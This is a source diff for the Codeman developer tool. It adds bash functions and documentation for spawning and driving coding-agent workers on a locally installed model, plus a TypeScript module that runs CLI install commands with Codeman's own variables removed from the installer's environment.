| {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
| if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
elif $i.state == "installed" then
# `start` alone over-promises: it is offered too while another program holds the
# port. Only an error-free start is a runtime spawn_worker can bring up.
if ($i.cli and $i.endpointId and $i.model.id)
and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
then {spawnable:true} + $base
else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
message:(if $i.error then ($i.error.message | say)
else "The model is installed, but the server offers no session on it right now." end)} + $base
end
elif $d.recommendation.reason == "not-macos" then
{spawnable:false, reason:"not-mac",
message:("Local models need a Mac with Apple silicon, and this Codeman runs on " + ($d.hardware.platform // "another system") + ".")}
elif $i.state == "idle" then
{spawnable:false, reason:"not-installed",
message:("No local model is installed. " + (if $d.recommendation.verdict == "none" then ($d.recommendation.headline | say)
else "A person installs one with Run a local model on the Codeman welcome screen." end))}
else
{spawnable:false, reason:"install-unfinished", step:$i.step, errorCode:$i.error.code,
message:("The install is " + ($i.state // "unfinished") + (if $i.step then " at its " + $i.step + " step" else "" end)
+ (if $i.error then ": " + ($i.error.message | say) else "." end)
+ " Only the Run a local model window continues it.")} + $base
end
| with_entries(select(.value != null))' <<<"$body" 2>/dev/null) ;;
000) out=$(jq -nc --arg a "$API" '{spawnable:false,reason:"unreachable",message:("No answer from Codeman at " + $a + ".")}') ;;
401) out='{"spawnable":false,"reason":"unauthorized","message":"Codeman refused the credentials (401): see the codeman skill, section 6."}' ;;
403) jq -e '.errorCode == "FORBIDDEN"' <<<"$body" >/dev/null 2>&1 &&
out='{"spawnable":false,"reason":"admin-only","message":"In multi-user mode the local model is for admins only: ask an admin of this Codeman."}' ;;
404) out='{"spawnable":false,"reason":"unsupported","message":"This Codeman has no local model support: it predates it."}' ;;
esac
[ -n "${out:-}" ] || out=$(jq -nc --arg c "$code" --arg t "$body" \
'{spawnable:false,reason:"error",status:$c,message:((($t | fromjson? | .error?) // $t)[0:300])}')
printf '%s\n' "$out"
[ "$(jq -r .spawnable <<<"$out")" = true ]
}
# _local_ready_model -> local_model's JSON once a `local` worker can start, rc 1 with the
# reason on stderr otherwise. An installed model whose runtime is stopped is started first,
# with exactly what the local model window's Start button sends, and read again until it
# runs (bounded, about 30 s). ⚠️ That start also undoes a Stop the person made: the runtime
# starts with Codeman again from then on. Concurrent spawns may both send it; the server
# runs one runtime verb at a time and a second start keeps the runtime that runs.
_local_ready_model() {
local lm r i=0
lm=$(local_model) || { jq -r '"no local model to spawn on (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
r=$("${CURL[@]}" -X POST "$API/api/v1/local-model/runtime" -H 'Content-Type: application/json' -d '{"action":"start"}')
jq -e '.success == true' <<<"$r" >/dev/null 2>&1 || {
echo "could not start the local model runtime: $(jq -r '.error // empty' <<<"$r" 2>/dev/null || printf '%s' "$r" | head -c 300)" >&2
return 1; }
while :; do
lm=$(local_model) || { jq -r '"the local model runtime was started, but (" + .reason + "): " + .message' <<<"$lm" >&2; return 1; }
[ "$(jq -r .running <<<"$lm")" = true ] && { printf '%s\n' "$lm"; return 0; }
i=$((i+1)); [ "$i" -lt 15 ] || { echo "the local model runtime did not report running within 30 s" >&2; return 1; }
sleep 2
done
}
# spawn_worker <caseName> [mode] -> session id on stdout, diagnostics on stderr.
# quick-start AND readiness in one call, with a strict contract: NON-EMPTY stdout means
# a READY worker whose end-of-turn signal can be trusted -- a claude worker in a
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer.
# hook-carrying case, or a `deepseek` worker whose harness TUI drew its composer -- or a
# `local` worker (below) whose composer drew, which takes a prompt but has NO end-of-turn
# signal unless its harness is claude: drive that one with sendmark.
# Anything less is rc 1 with EMPTY stdout, and the half-spawned session is deleted here
# rather than handed back, because a worker that never drew its composer would eat the
# task prompt with its trust dialog. There is deliberately no pid poll: wait-output
# already blocks until the composer draws, and pid!=null proved startup, never readiness.
# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
# model ride the quick-start as `customModel`: the launch the window's "Start a session"
# makes. A stopped runtime is started first. Any answer that wants a person to confirm
# something (a context below the agent's safe floor, a model swap) fails the spawn: this
# never confirms on anyone's behalf.
# CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
# it is set Claude Code's advisor tool: a stronger model the worker consults before
# committing to an approach, on a recurring error and before declaring the task done.
# Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
# advisor that ranks below the worker's model is accepted but never attached by claude.
spawn_worker() {
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r
local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
if [ "$mode" = local ]; then
lm=$(_local_ready_model) || return 1
mode=$(jq -r .cli <<<"$lm")
cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
# Readiness is a token the agent's composer draws. The registry's composer data never
# reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
# That field is no readiness mark in general (the registry keeps `composerReadyMark` for
# that, and declares none for opencode), but at boot only the composer draws it: measured
# on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
# and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
# path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
[ "$mode" = opencode ] && mark='┃'
mark=${LOCAL_READY_MARK:-$mark}
[ "$mode" = claude ] || [ -n "$mark" ] || {
echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
return 1; }
fi
# parentSessionId doubles the CURL header, so a spawn_worker copied off the shared
# curl (or a body someone rebuilt from this recipe) still carries its lineage.
# deepseek: ask for the same permission posture the Run button sends, because the
@@ -135,21 +244,36 @@ spawn_worker() {
# an approval row is a worker no fan-out can finish. It is not an escalation --
# claude workers already spawn with permissions skipped, and in multi-user mode the
# server clamps this back to `workspace-write` for an owner without the grant.
# Spawn by hand (§5.1) when you want a worker that asks.
# Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
# so a claude worker on the local model never gets one.
q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" \
-d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
'{caseName:$n,mode:$m,parentSessionId:$p}
+ (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
+ (if $m == "claude" and $a != "" then {advisorModel:$a} else {} end)')")
+ (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+ (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
# The answers that want a PERSON to decide come back as success with no session id.
if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
jq -r '"quick-start wants a person to confirm something, so no worker was started: " + ((.data // .) | tojson)' <<<"$q" >&2
return 1
fi
sid=$(jq -r 'if .success then .data.sessionId else empty end' <<<"$q")
# NOT retryable in a loop: every quick-start failure code is terminal (§5.1).
[ -n "$sid" ] || { jq -c '{error,errorCode}' <<<"$q" >&2; return 1; }
# A server without advisor support DROPS the field instead of refusing it, so read it
# back: a worker silently missing the advisor it was asked for is worth one line.
if [ "$mode" = claude ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
if [ "$mode" = claude ] && [ -z "$cm" ] && [ -n "${CODEMAN_WORKER_ADVISOR:-}" ] &&
[ "$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.advisorModel // empty')" != "$CODEMAN_WORKER_ADVISOR" ]; then
echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
fi
if [ -n "$cm" ] && [ "$mode" != claude ]; then
# No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
# why sendwait refuses it (400) and sendmark drives it.
r=$(_mark_up "$sid" "$mark" 45000)
[ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
delete_session "$sid" >/dev/null; return 1; }
printf '%s\n' "$sid"; return 0
fi
if [ "$mode" = deepseek ]; then
# The one non-claude mode with REAL end-of-turn signals: its TUI reports
# idle/working/blocked to Codeman, so sendwait, until=stop and the Approvals
@@ -195,10 +319,10 @@ spawn_worker() {
# order; the sessionId column is EMPTY for a spawn that failed (stderr has why).
# CONCURRENT: N workers cost about what one costs. Spawning them one Bash call at a time
# is the single biggest avoidable delay in this skill. A bare name is a claude worker;
# `beta:deepseek` makes that one a DeepSeek Harness worker, and a mixed fleet is one
# call. Case names must be UNIQUE: two workers in one case directory co-edit the same
# tree (§4), so a repeat is an error here, not a race (the mode never disambiguates two
# workers, since they would still share the directory).
# `beta:deepseek` makes that one a DeepSeek Harness worker, `summ:local` a worker on the
# local model, and a mixed fleet is one call. Case names must be UNIQUE: two workers in
# one case directory co-edit the same tree (§4), so a repeat is an error here, not a race
# (the mode never disambiguates two workers, since they would still share the directory).
spawn_workers() {
local d spec n m i=0
[ "$#" -gt 0 ] || { echo "spawn_workers: no case names given" >&2; return 1; }
@@ -232,7 +356,7 @@ spawn_workers() {
# wait that was open the whole time is what reports the turn's end. Trustworthy for a worker
# spawn_worker handed back -- claude (hooks vetted) or deepseek (status bridge) --
# and for those only. Hook-less workspaces and the other modes resolve on flapping
# idle: markers instead (§5.5). ⚠️ A dsh worker running a profile that does not
# idle: markers instead (§5.5, sendmark below). ⚠️ A dsh worker running a profile that does not
# implement the status contract is the one case that LOOKS like claude but is not:
# it accepts the send and then burns both waits. One timeout on a dsh worker whose
# pane clearly finished means that profile, so switch that worker to markers.
@@ -297,6 +421,108 @@ sendwait() {
fi
printf '%s\n' "$r"
}
# sendmark <sid> <prompt> [timeoutSec] -> one JSON line, for an AGENT worker with no
# end-of-turn signal: a `local` worker whose agent is not claude, a hook-less claude, and
# every external agent mode but deepseek (a shell worker takes §5.5's echo form instead):
# {"token":…,"delivered":true,"matched":true,"answerFile":"<path>","answer":"<text>",…}
# rc 0: the answer file was read, after the marker or once the file held still (below).
# 2: neither within the timeout (default 600 s; the worker may still be working, so nothing
# is deleted). 3: the worker's pane ended. 4: the marker printed, but no answer file turned
# up within SENDMARK_FILE_WAIT seconds of it (default 120). 1: the send or a wait failed
# (`detail` says why).
# It adds ONE sentence to your prompt (joined onto one line, as sendwait does): write the
# complete answer to codeman-answer-<token>.md in the working directory, and only then end
# the reply with the word DONE immediately followed by _<token>. The marker is split in what
# is typed, so the prompt echoing into the pane never matches it, and the token is new for
# every call (§5.5). The send is sendwait's exactly-once body (per-worker clientId,
# epoch-second seq) with a one-second `exit` wait, so `delivered` says the pane took it.
# ⚠️ A marker proves that the model printed the token. Not that it did the work, not that
# it did it right, not even that the turn is over: a reasoning model can restate the
# instruction while it plans. That is why the answer FILE is the second gate. ⚠️ And a
# full-screen agent can print the marker without it ever matching: opencode redraws its
# spinner between the pieces a model streams, so the stripped stream reads D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…
# (measured on opencode 1.3.0 on Linux, a reply streamed a character or two at a time; the screen
# showed the whole token). So the file is also the way out WITHOUT the marker: present, not
# empty, and unchanged between two rounds of the marker wait (rounds of at most 10 s), it is
# read and `matched` says false. It is read from this machine's disk, only when it is a
# regular file (a symlink is refused), at most 256 KB of it. It stays in the worker's folder
# (§5.14).
# SENDMARK_ANSWER_FILE=0 asks for the marker alone, for a worker that cannot write where it
# runs (codex in a folder it runs read-only, an agent that asks before it writes a file, a
# worker on another host): rc 0 then means only "the marker printed", and the answer is
# yours to read (last_text for codex, §5.4). Without the file there is no way out but the
# marker, so on a full-screen agent that can be rc 2 for a reply that finished.
sendmark() {
local sid="${1:?}" p="${2:?}" t="${3:-600}" tok mark file='' wd r w='' rem end start got=0 ended=0 matched=false i=0 rc=2 fp prev=''
case "$p" in *$'\n'*|*$'\r'*)
p=$(printf '%s\n' "$p" | tr '\r' '\n' | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e '/^$/d' | paste -sd ' ' -) ;;
esac
[ -n "$p" ] || { echo "sendmark: empty prompt" >&2; return 1; }
tok=$(printf 'm%x%04x' "$(date +%s)" "$RANDOM"); mark="DONE_$tok"
if [ "${SENDMARK_ANSWER_FILE:-1}" != 0 ]; then
wd=$("${CURL[@]}" "$API/api/v1/sessions/$sid" | jq -r '.data.workingDir // empty' 2>/dev/null)
[ -n "$wd" ] || { echo "sendmark: could not read the working directory of worker $sid" >&2; return 1; }
file="$wd/codeman-answer-$tok.md"
p="$p (When you are done: write your complete answer to the file codeman-answer-$tok.md in your current working directory, and only after that file is written, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
else
p="$p (When you are done, end your reply with the word DONE immediately followed by _$tok with no space in between.)"
fi
r=$("${CURL[@]}" -X POST "$API/api/v1/sessions/$sid/input" -H 'Content-Type: application/json' \
--data-binary "$(jq -nc --arg p "$p" --arg c "$CID-$sid" --argjson s "$(date +%s)" \
'{input:($p+"\r"),useMux:true,clientId:$c,seq:$s,wait:"exit",waitTimeout:1000}')")
if ! jq -e '.success and .data.delivered' <<<"$r" >/dev/null 2>&1; then
jq -e '.data.wait.ended or .data.wait.signal == "exit"' <<<"$r" >/dev/null 2>&1 && rc=3 || rc=1
jq -nc --arg t "$tok" --arg r "$r" '{token:$t,delivered:false,matched:false,answerFile:null,answer:null,detail:($r | fromjson? // $r)}'
return "$rc"
fi
start=$(date +%s); end=$((start + t))
while :; do # bounded waits of at most 10 s each, until the timeout
rem=$((end - $(date +%s))); [ "$rem" -ge 1 ] || break
[ "$rem" -le 10 ] || rem=10
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait-output" --data-urlencode "match=$mark" \
--data-urlencode 'from=buffer' --data-urlencode "timeout=$((rem * 1000))")
jq -e '.data.wait.matched' <<<"$w" >/dev/null 2>&1 && { matched=true; break; }
jq -e '.data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || {
jq -nc --arg t "$tok" --arg w "$w" '{token:$t,delivered:true,matched:false,answerFile:null,answer:null,detail:($w | fromjson? // $w)}'
return 1; }
# No marker this round. The answer file is the other way out (see above): it counts once
# it is a non-empty regular file whose checksum did not change since the last round.
if [ -n "$file" ] && [ ! -L "$file" ] && [ -f "$file" ] && [ -s "$file" ]; then
fp=$(cksum < "$file"); [ "$fp" = "$prev" ] && { got=1; break; }; prev=$fp
else
prev=''
fi
done
if [ "$matched" = true ] && [ -n "$file" ]; then
while :; do
[ -L "$file" ] && { echo "sendmark: $file is a symlink, not read" >&2; break; }
[ -f "$file" ] && { got=1; break; }
[ "$i" -lt "${SENDMARK_FILE_WAIT:-120}" ] || break
# Two seconds of waiting that also notices a worker that died: an exit wait answers at
# once then. A wait that did not answer (server gone) still costs its two seconds.
w=$("${CURL[@]}" -G "$API/api/v1/sessions/$sid/wait" --data-urlencode 'until=exit' --data-urlencode 'timeout=2000')
jq -e '.data.wait.signal == "exit" or .data.wait.ended' <<<"$w" >/dev/null 2>&1 && { ended=1; break; }
jq -e '.success' <<<"$w" >/dev/null 2>&1 || sleep 2
i=$((i + 2))
done
fi
if [ "$got" = 1 ]; then
head -c 262144 "$file" | jq -Rsc --arg t "$tok" --arg f "$file" --argjson m "$matched" \
--argjson s "$(($(date +%s) - start))" --argjson c "$(($(wc -c < "$file")))" \
'{token:$t,delivered:true,matched:$m,answerFile:$f,answer:.,truncated:($c > 262144),waitedSec:$s}'
return 0
fi
jq -nc --arg t "$tok" --arg f "$file" --argjson m "$matched" --argjson e "$ended" --argjson s "$(($(date +%s) - start))" \
'{token:$t,delivered:true,matched:$m,answerFile:(if $f == "" then null else $f end),answer:null,ended:($e == 1),waitedSec:$s}'
if [ "$matched" = true ]; then
[ -z "$file" ] && return 0
[ "$ended" = 1 ] && return 3
return 4
fi
[ "$ended" = 1 ] && return 3
return 2
}
# last_text <sid> [prev] -> that worker's last assistant message (claude, codex and
# deepseek write a real transcript; the other modes have none, so read the terminal
# instead -- §5.4). Polled, because the transcript write LAGS the stop signal, and
@@ -319,4 +545,4 @@ last_text() {
# The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
# bare on purpose: the write condition above anchors on it with $, so an inline comment
# here would fail that match and rewrite this file on every single bootstrap.
CODEMAN_PREAMBLE=1.44.0
CODEMAN_PREAMBLE=1.50.0
+1 -1
View File
@@ -21,7 +21,7 @@ by sourcing the preamble file the §0 bootstrap wrote, and checking its version
```bash
. "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
[ "${CODEMAN_PREAMBLE:-}" = 1.44.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
```
Do **not** re-paste the preamble body into each call. Sourcing it is what retires the
+101 -1
View File
@@ -484,7 +484,10 @@ snippet carries the exit code back to you.
For a **claude** worker with no hooks, ask for the marker in halves in the prompt
itself ("print the word WORKDONE immediately followed by `_<token>`") for the same
reason, and match the joined token. ⚠️ Against a TUI, match a single space-free token:
reason, and match the joined token. For any **agent** worker without `stop` (a hook-less
claude, a worker on the local model, every external agent mode but deepseek), the
preamble's `sendmark <sid> "<prompt>"` is exactly that in one call, and also asks for the
answer in a file it reads back: [§5.16](#516-a-worker-on-the-local-model). ⚠️ Against a TUI, match a single space-free token:
a full-screen TUI positions text with cursor movements rather than literal spaces, so
the stripped stream can read `Yes,Itrustthisfolder`, and whether a phrase keeps its
spaces depends on how the TUI happened to draw it (observed live: some match, some
@@ -814,6 +817,103 @@ Rules that matter:
- **Lifetime.** An inbox goes with its session on delete. A server restart empties all
inboxes unless the user turned on *Keep agent inbox across restarts* in Settings.
### 5.16 A worker on the local model
The detail behind [Claude in the cloud, a local model on this
Mac](../SKILL.md#claude-in-the-cloud-a-local-model-on-this-mac). Three preamble functions,
all read from source and pinned by `test/agent-skill-local-model.test.ts` against a fake
server; the local model routes themselves are experimental.
**`local_model`** is one `GET /api/v1/local-model` (the `/api/v1` alias reaches the
experimental route like any other) and prints one JSON line. Exit 0 means a `local` worker
can be spawned now (`running: true`) or once `spawn_worker` has started the runtime
(`running: false`):
```json
{"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
"endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B"}
```
Exit 1 carries `reason` and `message` (the server's own sentence where it has one):
| `reason` | What it means | What to tell the user |
|----------|---------------|-----------------------|
| `not-mac` | the server is not on macOS | local models need a Mac with Apple silicon |
| `not-installed` | nothing installed; on a Mac where no model fits, `message` says why | install one with **Run a local model** on the welcome screen |
| `install-unfinished` | a job is installing, paused or failed (`state`, `step`, `errorCode`) | finish it in that window; nothing here continues it |
| `blocked` | installed, but the server refuses a session now (`errorCode`: `model-changed`, `port-in-use`, `runtime-start-failed`, `runtime-stopped`) | the window shows the one button that helps |
| `admin-only` | multi-user mode, and you are not an admin (403) | ask an admin |
| `unsupported` | the server has no local model routes (404) | it predates the feature |
| `unauthorized`, `unreachable`, `error` | the request itself failed | §6 for a 401 |
It never downloads, installs or starts anything. Installing is many gigabytes the person
confirms in the window, and no route this skill calls can do it.
**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), in order:
1. `local_model`; anything but exit 0 fails the spawn with that reason.
2. Runtime stopped: `POST /api/v1/local-model/runtime {"action":"start"}`, what the
window's Start button sends, then `local_model` again until it reports `running`
(about 30 s at most). This undoes a Stop the person made. Concurrent spawns may both
send it; the server runs one runtime verb at a time and keeps a runtime that runs.
3. `POST /api/v1/quick-start {"caseName":…,"mode":"<cli>","parentSessionId":…,
"customModel":{"endpointId":…,"modelId":…}}`: the launch of the window's "Start a
session", with the installed agent as the mode. No advisor, which is a cloud model.
The server checks again that its own runtime runs and that the model on disk is the one
it installed, and refuses otherwise (`OPERATION_FAILED`, with the reason).
4. An answer of `requiresContextWarning` or `requiresConfirmation` is a question for a
person (a context below the agent's safe floor, a model swap that would evict another
session's model). It fails the spawn with the answer on stderr and nothing on stdout,
and no `confirmed*` flag is ever sent.
5. Readiness: OpenCode's composer bar `┃` (its registry `promptGlyph`) through
`wait-output`, 45 s, and the session deleted on a miss. Measured on OpenCode 1.3.0 on
Linux (not yet on a Mac) with a fresh home and a custom provider: nothing draws `┃` before the composer, there was no
first-run screen, and a prompt pasted with its Enter at the first `┃` was submitted. A
claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
dialog). Any other agent needs `LOCAL_READY_MARK` set to a space-free token its
composer draws, or the spawn is refused before a session exists.
**`sendmark <sid> <prompt> [timeoutSec]`** drives it, and any other agent worker without
an end-of-turn signal ([§5.5](#55-markers-for-hook-less-workers)):
- It joins the prompt onto one line and adds one sentence: write the complete answer to
`codeman-answer-<token>.md` in the working directory, and only then end the reply with
the word DONE immediately followed by `_<token>`. The typed text never holds the joined
marker, so its echo cannot match.
- It sends once with the exactly-once body (`$CID-<sid>`, an epoch-second `seq`, one `\r`)
and a one-second `exit` wait, so `delivered` is the pane's answer, not a guess.
- It waits on `wait-output?match=DONE_<token>&from=buffer` in rounds of at most 10 s until
the timeout (default 600 s), then reads the answer file from this machine's disk: only a
regular file (a symlink is refused), at most 256 KB.
- ⚠️ A full-screen agent can print the marker without it ever matching. OpenCode redraws
its spinner between the pieces a model streams, so with a reply streamed a character or
two at a time the stripped stream read `D⬝⬝O⬝⬝N⬝⬝E_⬝⬝m…` while the screen showed the whole
token (measured on OpenCode 1.3.0 on Linux). So between rounds it also looks at the answer file:
once it is non-empty and its checksum held still from one round to the next, it is read
and the wait ends with `matched: false`.
| exit | JSON | Meaning |
|------|------|---------|
| 0 | `answer` holds the file | the file was read: after the marker (`matched: true`), or once it held still (`matched: false`) |
| 2 | `matched: false` | neither the marker nor a settled file before the timeout. The worker may still be working: re-check the pane, never resend blindly |
| 3 | `ended: true` or `delivered: false` | the worker's pane ended. A pane that ended after it wrote the file but before the marker matched leaves `codeman-answer-<token>.md` in its folder: look there yourself |
| 4 | `matched: true, answer: null` | the marker printed, but no file within `SENDMARK_FILE_WAIT` s (default 120): the model ignored the instruction, or a reasoning model restated the marker while planning and is still at work |
| 1 | `detail` | the send or a wait failed |
What a marker proves, and what it does not: the model printed the token. Not that the
work is done, not that it is right, and with a reasoning model not even that the turn is
over, which is why the file is the second gate. What a small local model writes is a
first draft; review it before you build on it. The answer files stay in the worker's
folder, a scratch case that [§5.14](#514-clean-up) lists for cleanup.
`SENDMARK_ANSWER_FILE=0` asks for the marker alone, for a worker that cannot write where
it runs (codex in a folder it runs read-only, an agent that asks before it writes a file,
a worker on another host): exit 0 then means only that the marker printed, and with no
file to fall back on, a full-screen agent can answer exit 2 for a reply that finished. A
worker that stops on such a question shows up here as exit 2, not as an error.
Close every local worker you opened: while one is open the window refuses Stop and
Remove, naming it.
## Experimental bounded inspection and guarded submission
These three commands and their HTTP routes are labeled experimental, so they may
+311
View File
@@ -0,0 +1,311 @@
/**
* @fileoverview The shared runner of a STOCK CLI's install command: the one place Codeman
* executes an install one-liner, used by `POST /api/clis/:id/install`
* (src/web/routes/cli-registry-routes.ts) and by the local model install job.
*
* The code was moved here from cli-registry-routes.ts, and that route keeps its behaviour
* byte for byte (same answers, same audit entry, same 409 for a second install of one id,
* same environment).
*
* What lives here:
* - `installEnv()` and `npmGlobalPrefixWritable()`: the installer's environment is the
* server's minus every `CODEMAN_*` variable, with npm's global prefix pointed at a place
* the server user can write. test/routes/cli-registry-routes.test.ts imports both from the
* route module, which re-exports them from here.
* - `runInstallCommand()`: `shell: true`, its own process group, output capped, the whole
* group killed on timeout. New: an abort signal that kills the group the same way, so the
* install job's Cancel has something to stop.
* - `forgetResolvedCli()`: after an install, successful or not, every cached lookup of the
* CLI's binaries is dropped, or a pre-install miss is replayed for up to five minutes.
* - The set of ids with an install running. ONE set for both callers
* (`tryBeginCliInstall()`), so the route and the job can never run two installers of one
* CLI over the same prefix.
*
* Rules:
* - Which command runs is the CALLER's choice, and the two callers choose differently. The
* local model job passes `stockInstallCommand()`, which reads the compiled `STOCK_CLIS`
* and never the registry merged with `clis.json`, so an override file cannot change what
* that job runs. The CLI management route passes the merged entry's command
* (`resolveInstallCommandForPlatform(listClis()...)`), as it did before this module
* existed: a `clis.json` override of a stock entry's install command IS what that route
* runs (behind `cliManagementEnabled`, after a confirm that shows the exact text). A custom
* entry's install text is never executed by either. Switching the route to
* `stockInstallCommand()` would close that gap at the cost of a behaviour change the route
* tests pin; it is an owner decision, not made here.
* - Who may call it is the caller's rule, not this module's: the route keeps its
* `cliManagementEnabled` gate; the install job runs it only for a harness row of the local
* model catalogue, after the person's consent click on a screen that showed the literal
* command, admin only in multi-user mode, and writes the admin audit entry itself.
*/
import { execFile, spawn } from 'node:child_process';
import { constants as fsConstants } from 'node:fs';
import { access } from 'node:fs/promises';
import { dirname, join } from 'node:path';
import { promisify } from 'node:util';
import { resolveInstallCommandForPlatform } from './config/cli-registry/registry.js';
import { STOCK_CLIS } from './config/cli-registry/stock.js';
import { getErrorMessage } from './types.js';
import { invalidateCliExecutableResolvers } from './utils/cli-executable-resolver.js';
import { invalidateCliResolverCache } from './utils/cli-resolver.js';
/** How long an install command may run before its process group is killed. */
export const CLI_INSTALL_TIMEOUT_MS = 300_000;
/** How an install command ended. */
export interface CliInstallResult {
/** The exit code, `null` when the command was killed or could not be started. */
code: number | null;
/** stdout and stderr together, capped. */
output: string;
/** The timeout killed it. */
timedOut: boolean;
/** The abort signal killed it. */
aborted: boolean;
}
export interface RunInstallCommandOptions {
/** Kills the installer's whole process group (SIGTERM, then SIGKILL). */
signal?: AbortSignal;
}
/**
* Ids with an install running right now. A second request for the same id gets 409 rather
* than a second `curl | bash` or `npm install -g` racing the first over the same prefix.
*/
const installsInFlight = new Set<string>();
const execFileAsync = promisify(execFile);
/**
* True when `npm install -g` can write to this process's npm global prefix, or when that cannot
* be determined (then nothing is redirected: a wrong guess would move installs somewhere the
* user did not choose). `npm config get prefix` is asked rather than guessed from `process.execPath`
* because a user `.npmrc` / `NPM_CONFIG_PREFIX` can point it anywhere.
*
* Async so the server keeps serving while npm boots (130 to 240 ms), and killed with SIGKILL on
* timeout because `SIGTERM` alone leaves the wait running. A prefix that does not exist yet is
* judged by the nearest ancestor that does: npm creates the missing directories, so a user
* `.npmrc` pointing at `~/.npm-global` before it was made is not moved.
*/
export async function npmGlobalPrefixWritable(source: NodeJS.ProcessEnv): Promise<boolean> {
try {
const { stdout } = await execFileAsync('npm', ['config', 'get', 'prefix'], {
env: source,
encoding: 'utf8',
timeout: 5_000,
killSignal: 'SIGKILL',
});
const prefix = stdout.trim();
if (!prefix) return true;
// npm creates lib/node_modules under the prefix; walk up to the first directory that exists.
let dir = join(prefix, 'lib', 'node_modules');
for (;;) {
try {
await access(dir, fsConstants.W_OK);
return true;
} catch (err) {
if ((err as NodeJS.ErrnoException).code !== 'ENOENT') return false;
const parent = dirname(dir);
if (parent === dir) return false;
dir = parent;
}
}
} catch {
return true;
}
}
/**
* The server's environment minus every `CODEMAN_*` variable. An install script is third-party
* code, and those variables carry Codeman's own secrets and wiring (`CODEMAN_PASSWORD`, the
* data dir, the tmux socket), none of which an installer needs.
*
* It also points `NPM_CONFIG_PREFIX` at `$HOME/.local` so an `npm install -g` lands somewhere the
* server user can write and Codeman's resolvers already search (`~/.local/bin`):
* - inside the Docker Compose container (`CODEMAN_IN_CONTAINER=1`), so installs survive an image
* update (the image's own prefix is image content);
* - on a native install whose npm global prefix is not writable by the server user (a system node
* under `/usr`, installed by root). Without this `npm install -g` died with EACCES (exit 243),
* e.g. DeepSeek's `npm install -g @deepseek-ai/dsh`. An explicit `NPM_CONFIG_PREFIX` the
* operator set is respected, and so is a prefix that is writable (nvm, `~/.npm-global`, ...).
*/
export function installEnv(
source: NodeJS.ProcessEnv = process.env,
prefixWritable: (env: NodeJS.ProcessEnv) => boolean = () => true
): NodeJS.ProcessEnv {
const env: NodeJS.ProcessEnv = {};
for (const [key, value] of Object.entries(source)) {
if (!key.startsWith('CODEMAN_')) env[key] = value;
}
// ⚠️ In the Docker Compose deployment the image sets NPM_CONFIG_PREFIX=/opt/codeman-cli, which is IMAGE
// content: `Update-Codeman.sh` recreates the container and every CLI installed there (dsh, pi, ...)
// vanishes. HOME is the persistent bind mount and `~/.local/bin` is already on every resolver's search
// list, so npm-based installs are redirected there. curl|bash installers already target HOME.
if (source.CODEMAN_IN_CONTAINER === '1' && source.HOME) {
redirectNpmPrefix(env, source.HOME);
} else if (process.platform !== 'win32' && source.HOME && !source.NPM_CONFIG_PREFIX && !prefixWritable(env)) {
redirectNpmPrefix(env, source.HOME);
}
return env;
}
/**
* Point npm at `$HOME/.local`, dropping every spelling of the prefix key first. `npm run` exports a
* lowercase `npm_config_prefix`, npm reads `npm_config_*` case-insensitively, and when both spellings
* are present a `/bin/sh` that sorts its environment (bash) lets the older value win. The explicit
